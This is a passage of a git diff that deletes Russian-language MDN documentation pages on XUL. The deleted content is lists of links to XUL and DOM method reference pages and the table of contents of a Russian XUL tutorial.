- <li><a href="/en-US/docs/XUL/Method/appendCustomToolbar" title="XUL/Method/appendCustomToolbar">appendCustomToolbar</a></li>
- <li><a href="/en-US/docs/XUL/Method/appendGroup" title="XUL/Method/appendGroup">appendGroup</a></li>
- <li><a href="/en-US/docs/XUL/Method/appendItem" title="XUL/Method/appendItem">appendItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/appendNotification" title="XUL/Method/appendNotification">appendNotification</a></li>
- <li><a href="/en-US/docs/XUL/Method/blur" title="XUL/Method/blur">blur</a></li>
- <li><a href="/en-US/docs/XUL/Method/cancel" title="XUL/Method/cancel">cancel</a></li>
- <li><a href="/en-US/docs/XUL/Method/cancelDialog" title="XUL/Method/cancelDialog">cancelDialog</a></li>
- <li><a href="/en-US/docs/XUL/Method/centerWindowOnScreen" title="XUL/Method/centerWindowOnScreen">centerWindowOnScreen</a></li>
- <li><a href="/en-US/docs/XUL/Method/checkAdjacentElement" title="XUL/Method/checkAdjacentElement">checkAdjacentElement</a></li>
- <li><a href="/en-US/docs/XUL/Method/clearResults" title="XUL/Method/clearResults">clearResults</a></li>
- <li><a href="/en-US/docs/XUL/Method/clearSelection" title="XUL/Method/clearSelection">clearSelection</a></li>
- <li><a href="/en-US/docs/XUL/Method/click" title="XUL/Method/click">click</a></li>
- <li><a href="/en-US/docs/XUL/Method/close" title="XUL/Method/close">close</a></li>
- <li><a href="/en-US/docs/XUL/Method/collapseToolbar" title="XUL/Method/collapseToolbar">collapseToolbar</a></li>
- <li><a href="/en-US/docs/XUL/Method/contains" title="XUL/Method/contains">contains</a></li>
- <li><a href="/en-US/docs/XUL/Method/decrease" title="XUL/Method/decrease">decrease</a></li>
- <li><a href="/en-US/docs/XUL/Method/decreasePage" title="XUL/Method/decreasePage">decreasePage</a></li>
- <li><a href="/en-US/docs/XUL/Method/doCommand" title="XUL/Method/doCommand">doCommand</a></li>
- <li><a href="/en-US/docs/XUL/Method/ensureElementIsVisible" title="XUL/Method/ensureElementIsVisible">ensureElementIsVisible</a></li>
- <li><a href="/en-US/docs/XUL/Method/ensureIndexIsVisible" title="XUL/Method/ensureIndexIsVisible">ensureIndexIsVisible</a></li>
- <li><a href="/en-US/docs/XUL/Method/ensureSelectedElementIsVisible" title="XUL/Method/ensureSelectedElementIsVisible">ensureSelectedElementIsVisible</a></li>
- <li><a href="/en-US/docs/XUL/Method/expandToolbar" title="XUL/Method/expandToolbar">expandToolbar</a></li>
- <li><a href="/en-US/docs/XUL/Method/extra1" title="XUL/Method/extra1">extra1</a></li>
- <li><a href="/en-US/docs/XUL/Method/extra2" title="XUL/Method/extra2">extra2</a></li>
- <li><a href="/en-US/docs/XUL/Method/focus" title="XUL/Method/focus">focus</a></li>
- <li><a href="/en-US/docs/XUL/Method/getBrowserAtIndex" title="XUL/Method/getBrowserAtIndex">getBrowserAtIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/getBrowserForDocument" title="XUL/Method/getBrowserForDocument">getBrowserForDocument</a></li>
- <li><a href="/en-US/docs/XUL/Method/getBrowserForTab" title="XUL/Method/getBrowserForTab">getBrowserForTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/getBrowserIndexForDocument" title="XUL/Method/getBrowserIndexForDocument">getBrowserIndexForDocument</a></li>
- <li><a href="/en-US/docs/XUL/Method/getButton" title="XUL/Method/getButton">getButton</a></li>
- <li><a href="/en-US/docs/XUL/Method/getDefaultSession" title="XUL/Method/getDefaultSession">getDefaultSession</a></li>
- <li><a href="/en-US/docs/XUL/Method/getEditor" title="XUL/Method/getEditor">getEditor</a></li>
- <li><a href="/en-US/docs/XUL/Method/getElementsByAttribute" title="XUL/Method/getElementsByAttribute">getElementsByAttribute</a></li>
- <li><a href="/en-US/docs/XUL/Method/getElementsByAttributeNS" title="XUL/Method/getElementsByAttributeNS">getElementsByAttributeNS</a></li>
- <li><a href="/en-US/docs/XUL/Method/getFormattedString" title="XUL/Method/getFormattedString">getFormattedString</a></li>
- <li><a href="/en-US/docs/XUL/Method/getHTMLEditor" title="XUL/Method/getHTMLEditor">getHTMLEditor</a></li>
- <li><a href="/en-US/docs/XUL/Method/getIndexOfFirstVisibleRow" title="XUL/Method/getIndexOfFirstVisibleRow">getIndexOfFirstVisibleRow</a></li>
- <li><a href="/en-US/docs/XUL/Method/getIndexOfItem" title="XUL/Method/getIndexOfItem">getIndexOfItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/getItemAtIndex" title="XUL/Method/getItemAtIndex">getItemAtIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/getNextItem" title="XUL/Method/getNextItem">getNextItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/getNotificationBox" title="XUL/Method/getNotificationBox">getNotificationBox</a></li>
- <li><a href="/en-US/docs/XUL/Method/getNotificationWithValue" title="XUL/Method/getNotificationWithValue">getNotificationWithValue</a></li>
- <li><a href="/en-US/docs/XUL/Method/getNumberOfVisibleRows" title="XUL/Method/getNumberOfVisibleRows">getNumberOfVisibleRows</a></li>
- <li><a href="/en-US/docs/XUL/Method/getPageById" title="XUL/Method/getPageById">getPageById</a></li>
- <li><a href="/en-US/docs/XUL/Method/getPreviousItem" title="XUL/Method/getPreviousItem">getPreviousItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/getResultAt" title="XUL/Method/getResultAt">getResultAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getResultCount" title="XUL/Method/getResultCount">getResultCount</a></li>
- <li><a href="/en-US/docs/XUL/Method/getResultValueAt" title="XUL/Method/getResultValueAt">getResultValueAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getRowCount" title="XUL/Method/getRowCount">getRowCount</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSearchAt" title="XUL/Method/getSearchAt">getSearchAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSelectedItem" title="XUL/Method/getSelectedItem">getSelectedItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSession" title="XUL/Method/getSession">getSession</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSessionByName" title="XUL/Method/getSessionByName">getSessionByName</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSessionResultAt" title="XUL/Method/getSessionResultAt">getSessionResultAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSessionStatusAt" title="XUL/Method/getSessionStatusAt">getSessionStatusAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getSessionValueAt" title="XUL/Method/getSessionValueAt">getSessionValueAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/getString" title="XUL/Method/getString">getString</a></li>
- <li><a href="/en-US/docs/XUL/Method/goBack" title="XUL/Method/goBack">goBack</a></li>
- <li><a href="/en-US/docs/XUL/Method/goBackGroup" title="XUL/Method/goBackGroup">goBackGroup</a></li>
- <li><a href="/en-US/docs/XUL/Method/goDown" title="XUL/Method/goDown">goDown</a></li>
- <li><a href="/en-US/docs/XUL/Method/goForward" title="XUL/Method/goForward">goForward</a></li>
- <li><a href="/en-US/docs/XUL/Method/goForwardGroup" title="XUL/Method/goForwardGroup">goForwardGroup</a></li>
- <li><a href="/en-US/docs/XUL/Method/goHome" title="XUL/Method/goHome">goHome</a></li>
- <li><a href="/en-US/docs/XUL/Method/goTo" title="XUL/Method/goTo">goTo</a></li>
- <li><a href="/en-US/docs/XUL/Method/gotoIndex" title="XUL/Method/gotoIndex">gotoIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/goUp" title="XUL/Method/goUp">goUp</a></li>
- <li><a href="/en-US/docs/XUL/Method/hidePopup" title="XUL/Method/hidePopup">hidePopup</a></li>
- <li><a href="/en-US/docs/XUL/Method/increase" title="XUL/Method/increase">increase</a></li>
- <li><a href="/en-US/docs/XUL/Method/increasePage" title="XUL/Method/increasePage">increasePage</a></li>
- <li><a href="/en-US/docs/XUL/Method/insertItem" title="XUL/Method/insertItem">insertItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/insertItemAt" title="XUL/Method/insertItemAt">insertItemAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/invertSelection" title="XUL/Method/invertSelection">invertSelection</a></li>
- <li><a href="/en-US/docs/XUL/Method/loadGroup" title="XUL/Method/loadGroup">loadGroup</a></li>
- <li><a href="/en-US/docs/XUL/Method/loadOneTab" title="XUL/Method/loadOneTab">loadOneTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/loadTabs" title="XUL/Method/loadTabs">loadTabs</a></li>
- <li><a href="/en-US/docs/XUL/Method/loadURI" title="XUL/Method/loadURI">loadURI</a></li>
- <li><a href="/en-US/docs/XUL/Method/loadURIWithFlags" title="XUL/Method/loadURIWithFlags">loadURIWithFlags</a></li>
- <li><a href="/en-US/docs/XUL/Method/makeEditable" title="XUL/Method/makeEditable">makeEditable</a></li>
- <li><a href="/en-US/docs/XUL/Method/moveByOffset" title="XUL/Method/moveByOffset">moveByOffset</a></li>
- <li><a href="/en-US/docs/XUL/Method/moveTo" title="XUL/Method/moveTo">moveTo</a></li>
- <li><a href="/en-US/docs/XUL/Method/moveToAlertPosition" title="XUL/Method/moveToAlertPosition">moveToAlertPosition</a></li>
- <li><a href="/en-US/docs/XUL/Method/onSearchComplete" title="XUL/Method/onSearchComplete">onSearchComplete</a></li>
- <li><a href="/en-US/docs/XUL/Method/onTextEntered" title="XUL/Method/onTextEntered">onTextEntered</a></li>
- <li><a href="/en-US/docs/XUL/Method/onTextReverted" title="XUL/Method/onTextReverted">onTextReverted</a></li>
- <li><a href="/en-US/docs/XUL/Method/openPopup" title="XUL/Method/openPopup">openPopup</a></li>
- <li><a href="/en-US/docs/XUL/Method/openPopupAtScreen" title="XUL/Method/openPopupAtScreen">openPopupAtScreen</a></li>
- <li><a href="/en-US/docs/XUL/Method/openSubDialog" title="XUL/Method/openSubDialog">openSubDialog</a></li>
- <li><a href="/en-US/docs/XUL/Method/openWindow" title="XUL/Method/openWindow">openWindow</a></li>
- <li><a href="/en-US/docs/XUL/Method/preferenceForElement" title="XUL/Method/preferenceForElement">preferenceForElement</a></li>
- <li><a href="/en-US/docs/XUL/Method/reload" title="XUL/Method/reload">reload</a></li>
- <li><a href="/en-US/docs/XUL/Method/reloadAllTabs" title="XUL/Method/reloadAllTabs">reloadAllTabs</a></li>
- <li><a href="/en-US/docs/XUL/Method/reloadTab" title="XUL/Method/reloadTab">reloadTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/reloadWithFlags" title="XUL/Method/reloadWithFlags">reloadWithFlags</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeAllItems" title="XUL/Method/removeAllItems">removeAllItems</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeAllNotifications" title="XUL/Method/removeAllNotifications">removeAllNotifications</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeAllTabsBut" title="XUL/Method/removeAllTabsBut">removeAllTabsBut</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeCurrentNotification" title="XUL/Method/removeCurrentNotification">removeCurrentNotification</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeCurrentTab" title="XUL/Method/removeCurrentTab">removeCurrentTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeItemAt" title="XUL/Method/removeItemAt">removeItemAt</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeItemFromSelection" title="XUL/Method/removeItemFromSelection">removeItemFromSelection</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeNotification" title="XUL/Method/removeNotification">removeNotification</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeProgressListener" title="XUL/Method/removeProgressListener">removeProgressListener</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeSession" title="XUL/Method/removeSession">removeSession</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeTab" title="XUL/Method/removeTab">removeTab</a></li>
- <li><a href="/en-US/docs/XUL/Method/RemoveTabsProgressListener" title="XUL/Method/removeTab">removeTabsProgressListener</a></li>
- <li><a href="/en-US/docs/XUL/Method/removeTransientNotifications" title="XUL/Method/removeTransientNotifications">removeTransientNotifications</a></li>
- <li><a href="/en-US/docs/XUL/Method/replaceGroup" title="XUL/Method/replaceGroup">replaceGroup</a></li>
- <li><a href="/en-US/docs/XUL/Method/reset" title="XUL/Method/reset">reset</a></li>
- <li><a href="/en-US/docs/XUL/Method/rewind" title="XUL/Method/rewind">rewind</a></li>
- <li><a href="/en-US/docs/XUL/Method/scrollByIndex" title="XUL/Method/scrollByIndex">scrollByIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/scrollByPixels" title="XUL/Method/scrollByPixels">scrollByPixels</a></li>
- <li><a href="/en-US/docs/XUL/Method/scrollToIndex" title="XUL/Method/scrollToIndex">scrollToIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/select" title="XUL/Method/select">select</a></li>
- <li><a href="/en-US/docs/XUL/Method/selectAll" title="XUL/Method/selectAll">selectAll</a></li>
- <li><a href="/en-US/docs/XUL/Method/selectItem" title="XUL/Method/selectItem">selectItem</a></li>
- <li><a href="/en-US/docs/XUL/Method/selectItemRange" title="XUL/Method/selectItemRange">selectItemRange</a></li>
- <li><a href="/en-US/docs/XUL/Method/selectTabAtIndex" title="XUL/Method/selectTabAtIndex">selectTabAtIndex</a></li>
- <li><a href="/en-US/docs/XUL/Method/setSelectionRange" title="XUL/Method/setSelectionRange">setSelectionRange</a></li>
- <li><a href="/en-US/docs/XUL/Method/showPane" title="XUL/Method/showPane">showPane</a></li>
- <li><a href="/en-US/docs/XUL/Method/showPopup" title="XUL/Method/showPopup">showPopup</a></li>
- <li><a href="/en-US/docs/XUL/Method/sizeTo" title="XUL/Method/sizeTo">sizeTo</a></li>
- <li><a href="/en-US/docs/XUL/Method/startEditing" title="XUL/Method/startEditing">startEditing</a></li>
- <li><a href="/en-US/docs/XUL/Method/stop" title="XUL/Method/stop">stop</a></li>
- <li><a href="/en-US/docs/XUL/Method/stopEditing" title="XUL/Method/stopEditing">stopEditing</a></li>
- <li><a href="/en-US/docs/XUL/Method/SwapDocShells" title="XUL/Method/swapDocShells">swapDocShells</a></li>
- <li><a href="/en-US/docs/XUL/Method/syncSessions" title="XUL/Method/syncSessions">syncSessions</a></li>
- <li><a href="/en-US/docs/XUL/Method/timedSelect" title="XUL/Method/timedSelect">timedSelect</a></li>
- <li><a href="/en-US/docs/XUL/Method/toggleItemSelection" title="XUL/Method/toggleItemSelection">toggleItemSelection</a></li>
-</ul>
-
-<h3 id="Related_DOM_element_methods" name="Related_DOM_element_methods">Методы, относящиеся к DOM элементам</h3>
-
-<ul>
- <li><a href="/en-US/docs/DOM/element.addEventListener" title="DOM/element.addEventListener">DOM:element.addEventListener</a></li>
- <li><a href="/en-US/docs/DOM/Node.appendChild" title="DOM/element.appendChild">DOM:element.appendChild</a></li>
- <li><a href="/en-US/docs/DOM/Node.compareDocumentPosition" title="DOM/Node.compareDocumentPosition">DOM:element.compareDocumentPosition</a></li>
- <li><a href="/en-US/docs/DOM/element.dispatchEvent" title="DOM/element.dispatchEvent">DOM:element.dispatchEvent</a></li>
- <li><a href="/en-US/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">DOM:element.getAttribute</a></li>
- <li><a href="/en-US/docs/DOM/element.getAttributeNode" title="DOM/element.getAttributeNode">DOM:element.getAttributeNode</a></li>
- <li><a href="/en-US/docs/DOM/element.getAttributeNodeNS" title="DOM/element.getAttributeNodeNS">DOM:element.getAttributeNodeNS</a></li>
- <li><a href="/en-US/docs/DOM/element.getAttributeNS" title="DOM/element.getAttributeNS">DOM:element.getAttributeNS</a></li>
- <li><a href="/en-US/docs/DOM/element.getElementsByTagName" title="DOM/element.getElementsByTagName">DOM:element.getElementsByTagName</a></li>
- <li><a href="/en-US/docs/DOM/element.getElementsByTagNameNS" title="DOM/element.getElementsByTagNameNS">DOM:element.getElementsByTagNameNS</a></li>
- <li><a href="/en-US/docs/DOM/Node.getFeature" title="DOM/Node.getFeature">DOM:element.getFeature</a> <span class="inlineIndicator todo todoInline"><strong>FIXME:</strong> <em>brokenLink</em></span></li>
- <li><a href="/en-US/docs/DOM/Node.getUserData" title="DOM/Node.getUserData">DOM:element.getUserData</a></li>
- <li><a href="/en-US/docs/DOM/element.hasAttribute" title="DOM/element.hasAttribute">DOM:element.hasAttribute</a></li>
- <li><a href="/en-US/docs/DOM/element.hasAttributeNS" title="DOM/element.hasAttributeNS">DOM:element.hasAttributeNS</a></li>
- <li><a href="/en-US/docs/DOM/Node.hasAttributes" title="DOM/element.hasAttributes">DOM:element.hasAttributes</a></li>
- <li><a href="/en-US/docs/DOM/Node.hasChildNodes" title="DOM/element.hasChildNodes">DOM:element.hasChildNodes</a></li>
- <li><a href="/en-US/docs/DOM/Node.insertBefore" title="DOM/element.insertBefore">DOM:element.insertBefore</a></li>
- <li><a href="/en-US/docs/DOM/Node.isEqualNode" title="DOM/Node.isEqualNode">DOM:element.isEqualNode</a></li>
- <li><a href="/en-US/docs/DOM/Node.isSameNode" title="DOM/Node.isSameNode">DOM:element.isSameNode</a></li>
- <li><a href="/en-US/docs/DOM/Node.isSupported" title="DOM/element.isSupported">DOM:element.isSupported</a></li>
- <li><a href="/en-US/docs/DOM/Node.lookupNamespaceURI" title="DOM/Node.lookupNamespaceURI">DOM:element.lookupNamespaceURI</a></li>
- <li><a href="/en-US/docs/DOM/Node.lookupPrefix" title="DOM/Node.lookupPrefix">DOM:element.lookupPrefix</a></li>
- <li><a href="/en-US/docs/DOM/Node.normalize" title="DOM/element.normalize">DOM:element.normalize</a></li>
- <li><a href="/en-US/docs/DOM/element.removeAttribute" title="DOM/element.removeAttribute">DOM:element.removeAttribute</a></li>
- <li><a href="/en-US/docs/DOM/element.removeAttributeNode" title="DOM/element.removeAttributeNode">DOM:element.removeAttributeNode</a></li>
- <li><a href="/en-US/docs/DOM/element.removeAttributeNS" title="DOM/element.removeAttributeNS">DOM:element.removeAttributeNS</a></li>
- <li><a href="/en-US/docs/DOM/Node.removeChild" title="DOM/element.removeChild">DOM:element.removeChild</a></li>
- <li><a href="/en-US/docs/DOM/element.removeEventListener" title="DOM/element.removeEventListener">DOM:element.removeEventListener</a></li>
- <li><a href="/en-US/docs/DOM/Node.replaceChild" title="DOM/element.replaceChild">DOM:element.replaceChild</a></li>
- <li><a href="/en-US/docs/DOM/element.setAttribute" title="DOM/element.setAttribute">DOM:element.setAttribute</a></li>
- <li><a href="/en-US/docs/DOM/element.setAttributeNode" title="DOM/element.setAttributeNode">DOM:element.setAttributeNode</a></li>
- <li><a href="/en-US/docs/DOM/element.setAttributeNodeNS" title="DOM/element.setAttributeNodeNS">DOM:element.setAttributeNodeNS</a></li>
- <li><a href="/en-US/docs/DOM/element.setAttributeNS" title="DOM/element.setAttributeNS">DOM:element.setAttributeNS</a></li>
- <li><a href="/en-US/docs/DOM/Node.setUserData" title="DOM/Node.setUserData">DOM:element.setUserData</a></li>
-</ul>
diff --git a/files/ru/mozilla/tech/xul/руководство_по_xul/index.html b/files/ru/mozilla/tech/xul/руководство_по_xul/index.html
deleted file mode 100644
index c9b37fb8b8..0000000000
--- a/files/ru/mozilla/tech/xul/руководство_по_xul/index.html
+++ /dev/null
@@ -1,142 +0,0 @@
----
-title: Руководство по XUL
-slug: Mozilla/Tech/XUL/Руководство_по_XUL
-tags:
- - XUL
- - Руководство_по_XUL
-translation_of: Archive/Mozilla/XUL/Tutorial
----
-<p> </p>
-<p><br>
- Это руководство расскажет нам о <a href="/ru/XUL" title="ru/XUL">XUL</a> (читается как <em>зул</em>). <a href="/ru/XUL" title="ru/XUL">XUL</a> — это основанный на XML язык описания интерфейса пользователя (<a href="/ru/XML" title="ru/XML">XML</a> User-interface Language). Язык создавался для описания интерфейсов в приложениях Mozilla.</p>
-<h2 id=".D0.92.D0.B2.D0.B5.D0.B4.D0.B5.D0.BD.D0.B8.D0.B5" name=".D0.92.D0.B2.D0.B5.D0.B4.D0.B5.D0.BD.D0.B8.D0.B5">Введение</h2>
-<ul>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5" title="ru/Руководство_по_XUL/Введение">Введение</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_XUL" title="ru/Руководство_по_XUL/Структура_XUL">Структура XUL</a> (<a href="/ru/docs/Mozilla/Tech/XUL/Tutorial/XUL_Structure">оригинальная статья</a>)</li>
- <li><a href="/Ru/XUL_Tutorial/The_Chrome_URL" title="Ru/XUL_Tutorial/The_Chrome_URL">О Chrome URL</a></li>
- <li><a href="/Ru/XUL_Tutorial/Manifest_Files" title="ru/XUL_Tutorial/Manifest_Files">Файлы Манифеста</a></li>
-</ul>
-<h2 id=".D0.9F.D1.80.D0.BE.D1.81.D1.82.D1.8B.D0.B5_.D1.8D.D0.BB.D0.B5.D0.BC.D0.B5.D0.BD.D1.82.D1.8B" name=".D0.9F.D1.80.D0.BE.D1.81.D1.82.D1.8B.D0.B5_.D1.8D.D0.BB.D0.B5.D0.BC.D0.B5.D0.BD.D1.82.D1.8B">Простые элементы</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Creating_a_Window" title="ru/XUL_Tutorial/Creating_a_Window">Создаем окно</a></li>
- <li><a href="/ru/XUL_Tutorial/Добавляем_кнопки" title="ru/XUL Tutorial/Добавляем кнопки">Добавляем кнопки</a></li>
- <li><a href="/ru/XUL_Tutorial/Adding_Labels_and_Images" title="ru/XUL_Tutorial/Adding_Labels_and_Images">Добавляем текстовые метки и картинки</a></li>
- <li><a href="/ru/XUL_Tutorial/Input_Controls" title="ru/XUL_Tutorial/Input_Controls">Элементы ввода</a></li>
- <li><a href="/ru/XUL_Tutorial/List_Controls" title="ru/XUL_Tutorial/List_Controls">Списки</a></li>
- <li><a href="/ru/XUL_Tutorial/Progress_Meters" title="ru/XUL_Tutorial/Progress_Meters">Полосы прогресса</a></li>
- <li><a href="/ru/XUL_Tutorial/Adding_HTML_Elements" title="ru/XUL_Tutorial/Adding_HTML_Elements">Добавляем HTML-элементы</a></li>
- <li><a href="/ru/XUL_Tutorial/Using_Spacers" title="ru/XUL_Tutorial/Using_Spacers">Используем заполнители</a></li>
- <li><a href="/ru/XUL_Tutorial/More_Button_Features" title="ru/XUL_Tutorial/More_Button_Features">Дополнительные возможности кнопок</a></li>
-</ul>
-<h2 id=".D0.91.D0.BE.D0.BA.D1.81.D1.8B_.28BOX_Model.29" name=".D0.91.D0.BE.D0.BA.D1.81.D1.8B_.28BOX_Model.29">Боксы (BOX Model)</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/The_Box_Model" title="ru/XUL_Tutorial/The_Box_Model">Модель боксов</a></li>
- <li><a href="/ru/XUL_Tutorial/Element_Positioning" title="ru/XUL_Tutorial/Element_Positioning">Позиционирование элементов</a></li>
- <li><a href="/ru/XUL_Tutorial/Box_Model_Details" title="ru/XUL_Tutorial/Box_Model_Details">Модель в деталях</a></li>
- <li><a href="/ru/%D0%A0%D1%83%D0%BA%D0%BE%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%BE_%D0%BF%D0%BE_XUL/%D0%93%D1%80%D1%83%D0%BF%D0%BF%D0%B8%D1%80%D1%83%D1%8E%D1%89%D0%B8%D0%B5_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82%D1%8B" title="ru/Руководство_по_XUL/Группирующие_элементы">Группирующие элементы</a></li>
- <li><a href="/ru/XUL_Tutorial/Adding_More_Elements" title="ru/XUL_Tutorial/Adding_More_Elements">Добавляем элементы</a></li>
-</ul>
-<h2 id=".D0.AD.D0.BB.D0.B5.D0.BC.D0.B5.D0.BD.D1.82.D1.8B_.D0.BF.D1.80.D0.B5.D0.B4.D1.81.D1.82.D0.B0.D0.B2.D0.BB.D0.B5.D0.BD.D0.B8.D1.8F" name=".D0.AD.D0.BB.D0.B5.D0.BC.D0.B5.D0.BD.D1.82.D1.8B_.D0.BF.D1.80.D0.B5.D0.B4.D1.81.D1.82.D0.B0.D0.B2.D0.BB.D0.B5.D0.BD.D0.B8.D1.8F">Элементы представления</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Stacks_and_Decks" title="ru/XUL_Tutorial/Stacks_and_Decks">Стеки и колоды</a></li>
- <li><a href="/ru/XUL_Tutorial/Stack_Positioning" title="ru/XUL_Tutorial/Stack_Positioning">Позиционирование в стеке</a></li>
- <li><a href="/ru/XUL_Tutorial/Tabboxes" title="ru/XUL_Tutorial/Tabboxes">Табы</a></li>
- <li><a href="/ru/XUL_Tutorial/Grids" title="ru/XUL_Tutorial/Grids">Решетки</a></li>
- <li><a href="/ru/XUL_Tutorial/Content_Panels" title="ru/XUL_Tutorial/Content_Panels">Панели содержимого (фреймы)</a></li>
- <li><a href="/ru/XUL_Tutorial/Splitters" title="ru/XUL_Tutorial/Splitters">Разделители</a></li>
- <li><a href="/ru/XUL_Tutorial/Scroll_Bars" title="ru/XUL_Tutorial/Scroll_Bars">Полосы прокрутки</a></li>
-</ul>
-<h2 id=".D0.9C.D0.B5.D0.BD.D1.8E_.D0.B8_.D0.BF.D0.B0.D0.BD.D0.B5.D0.BB.D0.B8_.D0.B8.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.BE.D0.B2" name=".D0.9C.D0.B5.D0.BD.D1.8E_.D0.B8_.D0.BF.D0.B0.D0.BD.D0.B5.D0.BB.D0.B8_.D0.B8.D0.BD.D1.81.D1.82.D1.80.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.BE.D0.B2">Меню и панели инструментов</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Toolbars" title="ru/XUL_Tutorial/Toolbars">Панели инструментов</a></li>
- <li><a href="/ru/XUL_Tutorial/Simple_Menu_Bars" title="ru/XUL_Tutorial/Simple_Menu_Bars">Простые панели меню</a></li>
- <li><a href="/ru/XUL_Tutorial/More_Menu_Features" title="ru/XUL_Tutorial/More_Menu_Features">Подробнее о меню</a></li>
- <li><a href="/ru/XUL_Tutorial/Popup_Menus" title="ru/XUL_Tutorial/Popup_Menus">Всплывающие меню</a></li>
- <li><a href="/ru/XUL_Tutorial/Scrolling_Menus" title="ru/XUL_Tutorial/Scrolling_Menus">Прокручиваемые панели меню</a></li>
-</ul>
-<h2 id=".D0.A1.D0.BA.D1.80.D0.B8.D0.BF.D1.82.D1.8B_.D0.B8_.D1.81.D0.BE.D0.B1.D1.8B.D1.82.D0.B8.D1.8F" name=".D0.A1.D0.BA.D1.80.D0.B8.D0.BF.D1.82.D1.8B_.D0.B8_.D1.81.D0.BE.D0.B1.D1.8B.D1.82.D0.B8.D1.8F">Скрипты и события</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Adding_Event_Handlers" title="ru/XUL_Tutorial/Adding_Event_Handlers">Добавляем обработчик события</a></li>
- <li><a href="/ru/XUL_Tutorial/More_Event_Handlers" title="ru/XUL_Tutorial/More_Event_Handlers">Разные обработчики событий</a></li>
- <li><a href="/ru/XUL_Tutorial/Keyboard_Shortcuts" title="ru/XUL_Tutorial/Keyboard_Shortcuts">«Горячие» клавиши</a></li>
- <li><a href="/ru/XUL_Tutorial/Focus_and_Selection" title="ru/XUL_Tutorial/Focus_and_Selection">Фокус и выделение</a></li>
- <li><a href="/ru/XUL_Tutorial/Commands" title="ru/XUL_Tutorial/Commands">Команды</a></li>
- <li><a href="/ru/XUL_Tutorial/Updating_Commands" title="ru/XUL_Tutorial/Updating_Commands">Управление командами</a></li>
- <li><a href="/ru/XUL_Tutorial/Broadcasters_and_Observers" title="ru/XUL_Tutorial/Broadcasters_and_Observers">Элементы дикторы и слушатели</a></li>
-</ul>
-<h2 id=".D0.9E.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.BD.D0.B0.D1.8F_.D0.BC.D0.BE.D0.B4.D0.B5.D0.BB.D1.8C_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0_.28DOM.29" name=".D0.9E.D0.B1.D1.8A.D0.B5.D0.BA.D1.82.D0.BD.D0.B0.D1.8F_.D0.BC.D0.BE.D0.B4.D0.B5.D0.BB.D1.8C_.D0.B4.D0.BE.D0.BA.D1.83.D0.BC.D0.B5.D0.BD.D1.82.D0.B0_.28DOM.29">Объектная модель документа (DOM)</h2>
-<ul>
- <li><a href="/ru/XUL_Tutorial/Document_Object_Model" title="ru/XUL_Tutorial/Document_Object_Model">О модели</a></li>
- <li><a href="/ru/XUL_Tutorial/Modifying_a_XUL_Interface" title="ru/XUL_Tutorial/Modifying_a_XUL_Interface">Программно изменяем интерфейс</a></li>
- <li><a href="/ru/XUL_Tutorial/Manipulating_Lists" title="ru/XUL_Tutorial/Manipulating_Lists">Управляем списками</a></li>
- <li><a href="/ru/XUL_Tutorial/Box_Objects" title="ru/XUL_Tutorial/Box_Objects">Контейнеры</a></li>
- <li><a href="/ru/XUL_Tutorial/XPCOM_Interfaces" title="ru/XUL_Tutorial/XPCOM_Interfaces">Интерфейсы XPCOM</a></li>
- <li><a href="/ru/XUL_Tutorial/XPCOM_Examples" title="ru/XUL_Tutorial/XPCOM_Examples">Примеры использования XPCOM</a></li>
-</ul>
